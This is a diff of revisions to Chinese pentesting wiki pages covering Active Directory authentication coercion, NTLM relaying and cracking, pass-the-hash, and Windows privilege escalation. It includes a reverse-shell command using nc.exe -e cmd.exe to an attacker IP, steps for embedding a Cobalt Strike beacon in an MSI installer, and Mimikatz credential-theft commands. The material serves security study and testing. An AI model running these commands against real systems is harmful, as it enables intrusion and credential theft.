- **票证冒充**:利用**aes**密钥创建票证有助于避免检测因为不降级到NTLM。
- **票据冒充**:利用**aes**密钥创建票据有助于避免检测因为不降级到NTLM。
- **DCSync攻击**建议从非域控制器执行以避免ATA检测因为直接从域控制器执行会触发警报。
## 参考文献

View File

@ -8,8 +8,8 @@
## Spooler Service Abuse
如果 _**Print Spooler**_ 服务 **启用**,您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**,并告诉它 **将通知发送到某个系统**。\
请注意,当打印机将通知发送到任意系统时,它需要 **对该系统进行认证**。因此,攻击者可以使 _**Print Spooler**_ 服务对任意系统进行认证,该服务将在此认证中 **使用计算机账户**
如果 _**Print Spooler**_ 服务 **启用** 您可以使用一些已知的 AD 凭据 **请求** 域控制器的打印服务器更新新打印作业,并告诉它 **将通知发送到某个系统**。\
请注意,当打印机将通知发送到任意系统时,它需要 **对该系统进行认证**。因此,攻击者可以使 _**Print Spooler**_ 服务对任意系统进行认证,并且该服务将在此认证中 **使用计算机账户**
### 在域中查找 Windows 服务器
@ -41,7 +41,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### 结合不受限制的委托
如果攻击者已经攻陷了一台具有[不受限制的委托](unconstrained-delegation.md)的计算机,攻击者可以**使打印机对该计算机进行身份验证**。由于不受限制的委托,**打印机的计算机帐户的TGT**将被**保存在**具有不受限制委托的计算机的**内存**中。由于攻击者已经攻陷了该主机,他将能够**检索此票证**并加以利用([Pass the Ticket](pass-the-ticket.md)
如果攻击者已经攻陷了一台具有 [不受限制的委托](unconstrained-delegation.md) 的计算机,攻击者可以 **使打印机对该计算机进行身份验证**。由于不受限制的委托,**打印机的计算机帐户的 TGT** 将 **保存在** 具有不受限制委托的计算机的 **内存** 中。由于攻击者已经攻陷了该主机,他将能够 **检索此票证** 并加以利用 ([Pass the Ticket](pass-the-ticket.md))
## RCP 强制身份验证
@ -51,13 +51,13 @@ https://github.com/p0dalirius/Coercer
## PrivExchange
`PrivExchange`攻击是由于**Exchange Server `PushSubscription`功能**中的一个缺陷。该功能允许任何具有邮箱的域用户强制Exchange服务器通过HTTP对任何客户端提供的主机进行身份验证。
`PrivExchange` 攻击是由于 **Exchange Server `PushSubscription` 功能** 中发现的缺陷。该功能允许任何具有邮箱的域用户强制 Exchange 服务器通过 HTTP 对任何客户端提供的主机进行身份验证。
默认情况下,**Exchange服务以SYSTEM身份运行**,并被赋予过多的权限(具体来说,它在2019年之前的累积更新上具有**WriteDacl权限**)。这个缺陷可以被利用来启用**向LDAP中转信息并随后提取域NTDS数据库**。在无法向LDAP中转的情况下这个缺陷仍然可以用于在域内中转和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
默认情况下,**Exchange 服务以 SYSTEM 身份运行**,并被赋予过多的权限(具体来说,它在 2019 年之前的累积更新上具有 **WriteDacl 权限**)。此缺陷可以被利用以启用 **向 LDAP 中转信息并随后提取域 NTDS 数据库**。在无法向 LDAP 中转的情况下,此缺陷仍然可以用于在域内中转和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
## 在Windows内部
## 在 Windows 内部
如果您已经在Windows机器内部可以使用以下方法强制Windows使用特权帐户连接到服务器
如果您已经在 Windows 机器内部,可以使用特权帐户强制 Windows 连接到服务器,方法是
### Defender MpCmdRun
```bash
@ -105,6 +105,6 @@ certutil.exe -syncwithWU \\127.0.0.1\share
## 破解 NTLMv1
如果你能捕获 [NTLMv1 挑战,请阅读如何破解它们](../ntlm/index.html#ntlmv1-attack)。\
&#xNAN;_&#x52;请记住,为了破解 NTLMv1你需要将 Responder 挑战设置为 "1122334455667788"_
_请记住为了破解 NTLMv1你需要将 Responder 挑战设置为 "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,13 +6,13 @@
在运行 **Windows XP 和 Server 2003** 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被攻破。特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM代表一个空字符串的哈希。
默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或当尝试使用 IP 地址而不是有效主机名进行连接时。
默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或在尝试使用 IP 地址而非有效主机名进行连接时。
网络数据包中存在 **"NTLMSSP"** 头部信号表示 NTLM 认证过程。
对认证协议 - LM、NTLMv1 和 NTLMv2 - 的支持由位于 `%windir%\Windows\System32\msv1\_0.dll` 的特定 DLL 提供。
**点**
**关键点**
- LM 哈希易受攻击,空 LM 哈希 (`AAD3B435B51404EEAAD3B435B51404EE`) 表示未使用。
- Kerberos 是默认认证方法NTLM 仅在特定条件下使用。
@ -75,17 +75,17 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
### NTLMv1 攻击
如今,发现配置了不受约束委派的环境变得越来越少,但这并不意味着您不能 **滥用配置的打印后台处理程序服务**
如今,发现配置了不受限制委派的环境变得越来越少,但这并不意味着您不能 **滥用配置的打印后台处理程序服务**
您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个您控制的主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb``responder`,您可以 **将身份验证挑战设置为 1122334455667788**,捕获身份验证尝试,如果使用 **NTLMv1** 进行身份验证,您将能够 **破解它**。\
如果您使用 `responder`,您可以尝试 \*\*使用标志 `--lm` \*\* 来尝试 **降级** **身份验证**。\
&#xNAN;_&#x4E;注意,对于此技术,身份验证必须使用 NTLMv1 进行NTLMv2 无效。_
您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个您控制的主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb``responder`,您可以 **将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用 **NTLMv1** 进行,您将能够 **破解它**。\
如果您使用 `responder`,您可以尝试 **使用标志 `--lm`** 来尝试 **降级** **认证**。\
_请注意对于此技术证必须使用 NTLMv1 进行NTLMv2 无效。_
请记住,打印机在身份验证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 身份验证 **使用 DES** ([更多信息在这里](#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。
请记住,打印机在证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES**[更多信息在这里](#ntlmv1-challenge),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。
### 使用 hashcat 的 NTLMv1 攻击
NTLMv1 也可以通过 NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解,该工具以可以通过 hashcat 破解的方式格式化 NTLMv1 消息。
NTLMv1 也可以通过 NTLMv1 多工具 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解,该工具以可以 hashcat 破解的方式格式化 NTLMv1 消息。
命令
```bash
@ -155,7 +155,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 挑战
**挑战长度为 8 字节**,并且**发送 2 个响应**:一个是**24 字节**长,**另一个**的长度是**可变**的。
**挑战长度为 8 字节**,并且**发送 2 个响应**:一个是**24 字节**长,另一个的长度是**可变**的。
**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密,并使用**NT hash**的**MD4 哈希**作为**密钥**来创建的。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计24 B。
@ -180,7 +180,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
### 从 Linux 进行 Pass-the-Hash
您可以使用 Linux 从 Windows 机器获得代码执行。\
您可以使用 Linux 从 Windows 机器获得代码执行。\
[**访问此处了解如何操作。**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Impacket Windows 编译工具
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
这个功能是**所有其他功能的混合**。您可以传递**多个主机****排除**某些主机,并**选择**您想要使用的**选项**_SMBExec, WMIExec, SMBClient, SMBEnum_。如果您选择**任何**的**SMBExec**和**WMIExec**但您**没有**提供任何_**Command**_参数它将仅仅**检查**您是否拥有**足够的权限**。
这个函数是**所有其他函数的混合**。您可以传递**多个主机****排除**某些主机,并**选择**您想要使用的**选项**_SMBExec, WMIExec, SMBClient, SMBEnum_。如果您选择**任何**的**SMBExec**和**WMIExec**但**不**提供任何_**Command**_参数它将仅仅**检查**您是否拥有**足够的权限**。
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```

View File

@ -1,14 +1,14 @@
# Windows 本地权限提升
# Windows Local Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
### **查找 Windows 本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **寻找Windows本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
## 初始 Windows 理论
## 初始Windows理论
### 访问令牌
**如果你不知道什么是 Windows 访问令牌,请在继续之前阅读以下页面:**
**如果你不知道什么是Windows访问令牌请在继续之前阅读以下页面:**
{{#ref}}
access-tokens.md
@ -16,7 +16,7 @@ access-tokens.md
### ACLs - DACLs/SACLs/ACEs
**有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:**
**有关ACLs - DACLs/SACLs/ACEs的更多信息请查看以下页面:**
{{#ref}}
acls-dacls-sacls-aces.md
@ -24,15 +24,15 @@ acls-dacls-sacls-aces.md
### 完整性级别
**如果你不知道 Windows 中的完整性级别是什么,你应该在继续之前阅读以下页面:**
**如果你不知道Windows中的完整性级别你应该在继续之前阅读以下页面:**
{{#ref}}
integrity-levels.md
{{#endref}}
## Windows 安全控制
## Windows安全控制
Windows 中有不同的东西可能会 **阻止你枚举系统**、运行可执行文件或甚至 **检测你的活动**。你应该 **阅读** 以下 **页面** **枚举** 所有这些 **防御** **机制**,然后再开始权限提升枚举:
Windows中有不同的东西可能会**阻止你枚举系统**、运行可执行文件或甚至**检测你的活动**。你应该**阅读**以下**页面**并**枚举**所有这些**防御****机制**,然后再开始权限提升枚举:
{{#ref}}
../authentication-credentials-uac-and-efs/
@ -42,7 +42,7 @@ Windows 中有不同的东西可能会 **阻止你枚举系统**、运行可执
### 版本信息枚举
检查 Windows 版本是否存在已知漏洞(也检查已应用的补丁)。
检查Windows版本是否存在已知漏洞也检查已应用的补丁
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### 版本漏洞
这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对于查找有关 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**
这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对于搜索有关 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**
**在系统上**
@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
### 环境
环境变量中是否保存了任何凭据/敏感信息?
环境变量中保存了任何凭据/敏感信息
```bash
set
dir env:
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **脚本块日志记录**
完整的活动和脚本执行的全部内容记录被捕获,确保每个代码块在运行时都被记录。此过程保留了每个活动的全面审计跟踪,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,提供了对该过程的详细见解
完整的活动和脚本执行的全部内容记录被捕获,确保每个代码块在运行时都有文档记录。这个过程保留了每个活动的全面审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,提供了对该过程的详细洞察
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
如果更新不是通过 http**S** 而是通过 http 请求的,您可以危害系统。
您可以通过运行以下命令检查网络是否使用非 SSL WSUS 更新:
您可以通过运行以下命令检查网络是否使用非 SSL WSUS 更新:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
@ -167,7 +167,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
那么,**它是可利用的。** 如果最后一个注册表等于 0则 WSUS 条目将被忽略。
为了利用这些漏洞,您可以使用工具如:[Wsuxploit](https://github.com/pimps/wsuxploit)[pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是 MiTM 武器化的利用脚本,用于将“假”更新注入非 SSL WSUS 流量
为了利用这些漏洞,您可以使用工具如:[Wsuxploit](https://github.com/pimps/wsuxploit)[pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是 MiTM 武器化的利用脚本,用于将“假”更新注入非 SSL WSUS 流量。
在这里阅读研究:
@ -182,13 +182,13 @@ CTX_WSUSpect_White_Paper (1).pdf
> 如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截自己的流量,并以提升的用户身份在我们的资产上运行代码。
>
> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,服务将接受它。
> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,服务将接受它。
您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 利用此漏洞(解放后)。
## KrbRelayUp
在特定条件下Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行**、用户拥有自我权限允许他们配置 **基于资源的受限委派 (RBCD)**,以及用户能够在域内创建计算机。需要注意的是,这些 **要求****默认设置** 下满足。
在特定条件下Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行** 的环境,用户拥有自我权限,允许他们配置 **基于资源的受限委派 (RBCD)**,以及用户在域内创建计算机的能力。重要的是要注意,这些 **要求****默认设置** 下满足。
在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到 **利用**
@ -232,18 +232,18 @@ create-msi-with-wix.md
### 使用 Visual Studio 创建 MSI
- **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** `C:\privesc\beacon.exe`
- 打开 **Visual Studio**,选择 **创建新项目**在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**
- 给项目命名,例如 **AlwaysPrivesc**使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录**,然后点击 **创建**
- 一直点击 **下一步**,直到到达第 3 步(选择要包含的文件)。点击 **添加**选择您刚生成的 Beacon 负载。然后点击 **完成**
- 在 **解决方案资源管理器**突出显示 **AlwaysPrivesc** 项目,在 **属性** 中,将 **TargetPlatform****x86** 更改为 **x64**
- **生成**一个 **新的 Windows EXE TCP 负载**,使用 Cobalt Strike 或 Metasploit`C:\privesc\beacon.exe`
- 打开 **Visual Studio**,选择 **创建新项目**,在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**
- 给项目命名,例如 **AlwaysPrivesc**将位置设置为 **`C:\privesc`**,选择 **将解决方案和项目放在同一目录**,然后点击 **创建**
- 一直点击 **下一步**,直到到达第 3 步中的 4 步(选择要包含的文件)。点击 **添加**选择您刚生成的 Beacon 负载。然后点击 **完成**
- 在 **解决方案资源管理器**高亮 **AlwaysPrivesc** 项目,在 **属性** 中,将 **TargetPlatform****x86** 更改为 **x64**
- 还有其他属性可以更改,例如 **作者****制造商**,这可以使安装的应用看起来更合法。
- 右键单击项目选择 **查看 > 自定义操作**
- 右键单击 **安装**选择 **添加自定义操作**
- 双击 **应用程序文件夹**,选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在运行安装程序时立即执行 beacon 负载。
- 右键单击项目选择 **查看 > 自定义操作**
- 右键单击 **安装**选择 **添加自定义操作**
- 双击 **应用程序文件夹**,选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在安装程序运行时立即执行 beacon 负载。
- 在 **自定义操作属性** 下,将 **Run64Bit** 更改为 **True**
- 最后,**构建它**。
- 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。
- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。
### MSI 安装
@ -263,13 +263,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
### WEF
Windows Event Forwarding了解日志发送到哪里是很有趣的。
Windows 事件转发,了解日志发送到哪里是很有趣的
```bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
```
### LAPS
**LAPS** 旨在 **管理本地管理员密码**,确保每个密码在加入域的计算机上都是 **唯一、随机且定期更新**。这些密码安全地存储在 Active Directory 中,只有通过 ACL 授予足够权限的用户才能访问,从而允许他们在获得授权的情况下查看本地管理员密码。
**LAPS** 旨在 **管理本地管理员密码**,确保每个密码都是 **唯一的、随机的,并定期更新** 在加入域的计算机上。这些密码安全地存储在 Active Directory 中,只有通过 ACL 授予足够权限的用户才能访问,从而允许他们在获得授权的情况下查看本地管理员密码。
{{#ref}}
../active-directory-methodology/laps.md
@ -277,14 +277,14 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
### WDigest
如果启用,**明文密码存储在 LSASS**(本地安全授权子系统服务)。\
[**有关 WDigest 的更多信息,请访问此页面**](../stealing-credentials/credentials-protections.md#wdigest)。
如果启用,**明文密码存储在 LSASS**(本地安全授权子系统服务)。\
[**关于 WDigest 的更多信息请查看此页面**](../stealing-credentials/credentials-protections.md#wdigest)。
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
```
### LSA 保护
**Windows 8.1** 开始,微软引入了对本地安全机构 (LSA) 的增强保护,以 **阻止** 不受信任的进程 **读取其内存** 或注入代码,从而进一步增强系统安全。\
**Windows 8.1** 开始,微软引入了对本地安全机构 (LSA) 的增强保护,以 **阻止** 不受信任的进程 **读取其内存** 或注入代码,从而进一步保护系统。\
[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection)。
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
@ -297,7 +297,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### Cached Credentials
**域凭据**由**本地安全机构**LSA进行认证,并被操作系统组件使用。当用户的登录数据通过注册的安全包进行认证时,通常会为该用户建立域凭据。\
**域凭据**由**本地安全机构**LSA进行验证,并被操作系统组件使用。当用户的登录数据通过注册的安全包进行验证时,通常会为该用户建立域凭据。\
[**有关缓存凭据的更多信息**](../stealing-credentials/credentials-protections.md#cached-credentials)。
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@ -323,7 +323,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### 特权组
如果您**属于某个特权组,您可能能够提升权限**。在这里了解特权组及如何滥用它们以提升权限:
如果您**属于某个特权组,您可能能够提升权限**。在这里了解特权组及其滥用方式以提升权限:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -332,7 +332,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
### 令牌操作
**了解更多**关于**令牌**的信息,请访问此页面:[**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
查看以下页面以**了解有趣的令牌**及如何滥用它们
查看以下页面以**了解有趣的令牌**及其滥用方式
{{#ref}}
privilege-escalation-abusing-tokens.md
@ -361,7 +361,7 @@ powershell -command "Get-Clipboard"
### 文件和文件夹权限
首先,列出进程 **检查进程命令行中的密码**。\
检查您是否可以 **覆盖某个正在运行的二进制文件**,或者您是否对二进制文件夹具有写权限,以利用可能的 [**DLL 劫持攻击**](dll-hijacking/index.html)
检查您是否可以 **覆盖某个正在运行的二进制文件**,或者您是否对二进制文件夹具有写权限,以利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html)
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
如果您遇到此错误(例如 SSDPSRV
_系统错误 1058 已发生。_\
&#xNAN;_&#x54;服务无法启动可能是因为它被禁用或没有与之关联的启用设备。_
_服务无法启动可能是因为它被禁用或没有与之关联的启用设备。_
您可以使用
```bash
@ -467,16 +467,16 @@ net stop [service name] && net start [service name]
权限可以通过各种权限提升:
- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。
- **WRITE_DAC**: 使权限重新配置成为可能,从而能够更改服务配置。
- **WRITE_DAC**: 启用权限重新配置,从而能够更改服务配置。
- **WRITE_OWNER**: 允许获取所有权和权限重新配置。
- **GENERIC_WRITE**: 继承更改服务配置的能力。
- **GENERIC_ALL**: 也继承更改服务配置的能力。
对于此漏洞的检测和利用,可以使用 _exploit/windows/local/service_permissions_。
为了检测和利用此漏洞,可以使用 _exploit/windows/local/service_permissions_。
### 服务二进制文件的弱权限
**检查您是否可以修改由服务执行的二进制文件**,或者您是否在二进制文件所在的文件夹具有**写权限**[**DLL Hijacking**](dll-hijacking/index.html))。\
**检查您是否可以修改由服务执行的二进制文件**,或者您是否在二进制文件所在的文件夹具有**写权限**[**DLL Hijacking**](dll-hijacking/index.html))。\
您可以使用 **wmic**(不在 system32 中)获取由服务执行的每个二进制文件,并使用 **icacls** 检查您的权限:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -517,7 +517,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### 未加引号的服务路径
如果可执行文件的路径没有用引号括起来Windows 将尝试执行每个在空格之前的结尾
如果可执行文件的路径没有用引号括起来Windows 将尝试执行每个以空格结尾的部分
例如,对于路径 _C:\Program Files\Some Folder\Service.exe_Windows 将尝试执行:
```powershell
@ -557,7 +557,7 @@ Windows 允许用户指定在服务失败时采取的操作。此功能可以配
### 已安装的应用程序
检查 **二进制文件的权限**(也许你可以覆盖一个并提升权限)和 **文件夹**[DLL Hijacking](dll-hijacking/index.html))。
检查 **二进制文件的权限**(也许你可以覆盖一个并提升权限)和 **文件夹** [DLL Hijacking](dll-hijacking/index.html))。
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -568,7 +568,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### 写权限
检查您是否可以修改某个配置文件以读取某个特殊文件或者您是否可以修改将由管理员帐户schedtasks执行的某个二进制文件。
检查您是否可以修改某些配置文件以读取某些特殊文件或者您是否可以修改将由管理员帐户schedtasks执行的某些二进制文件。
查找系统中弱文件夹/文件权限的一种方法是:
```bash
@ -595,7 +595,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
```
### 开机时运行
**检查您是否可以覆盖某些将由其他用户执行的注册表或二进制文件。**\
**检查您是否可以覆盖一些将由不同用户执行的注册表或二进制文件。**\
**阅读**以下页面以了解有关有趣的**自动运行位置以提升权限**的更多信息:
{{#ref}}
@ -604,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
### 驱动程序
寻找可能的**第三方奇怪/易受攻击**驱动程序
寻找可能的**第三方奇怪/易受攻击**驱动程序
```bash
driverquery
driverquery.exe /fo table
@ -705,7 +705,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vault 存储用户在服务器、网站和其他程序的凭据,**Windows** 可以 **自动登录用户**。乍一看,这可能看起来像是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等,以便他们通过浏览器自动登录。但事实并非如此。
Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何 **需要凭据来访问资源**(服务器或网站)的 **Windows 应用程序都可以使用此凭据管理器**和 Windows Vault并使用提供的凭据而不是用户每次都输入用户名和密码。
Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何 **需要凭据来访问资源**(服务器或网站)的 **Windows 应用程序** **都可以利用这个凭据管理器** 和 Windows Vault并使用提供的凭据而不是用户每次都输入用户名和密码。
除非应用程序与凭据管理器交互,否则我认为它们不可能使用给定资源的凭据。因此,如果您的应用程序想要使用 Vault它应该以某种方式 **与凭据管理器通信并请求该资源的凭据** 从默认存储 Vault。
@ -721,7 +721,7 @@ User: WORKGROUP\Administrator
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
使用 `runas` 和提供的凭据。
使用 `runas` 和提供的凭据
```bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
@ -731,7 +731,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法,主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著贡献熵。
**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中,它利用系统的域认证秘密。
**DPAPI 通过从用户的登录秘密派生的对称密钥来启用密钥的加密**。在涉及系统加密的场景中,它利用系统的域身份验证秘密。
使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 代表用户的 [安全标识符](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**,通常由 64 字节的随机数据组成。(重要的是要注意,该目录的访问受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出)。
```powershell
@ -740,7 +740,7 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
您可以使用 **mimikatz module** `dpapi::masterkey` 以及适当的参数 (`/pvk``/rpc`) 来解密它。
由主密码保护的 **凭据文件** 通常位于:
**受主密码保护的凭据文件** 通常位于:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -748,7 +748,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
您可以使用 **mimikatz module** `dpapi::cred` 和适当的 `/masterkey` 进行解密。\
您可以使用 `sekurlsa::dpapi` 模块(如果您是 root**memory****extract many DPAPI** **masterkeys**
您可以使用 `sekurlsa::dpapi` 模块(如果您是 root**memory****提取许多 DPAPI** **masterkeys**
{{#ref}}
dpapi-extracting-passwords.md
@ -756,9 +756,9 @@ dpapi-extracting-passwords.md
### PowerShell 凭据
**PowerShell credentials** 通常用于 **scripting** 和自动化任务,以便方便地存储加密凭据。这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,以便方便地存储加密凭据。这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在创建它们的同一计算机上的同一用户解密。
要从包含 PS 凭据的文件中 **decrypt** 凭据,您可以执行:
要从包含 PS 凭据的文件中 **解密** 凭据,您可以执行:
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -797,7 +797,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
### 便签
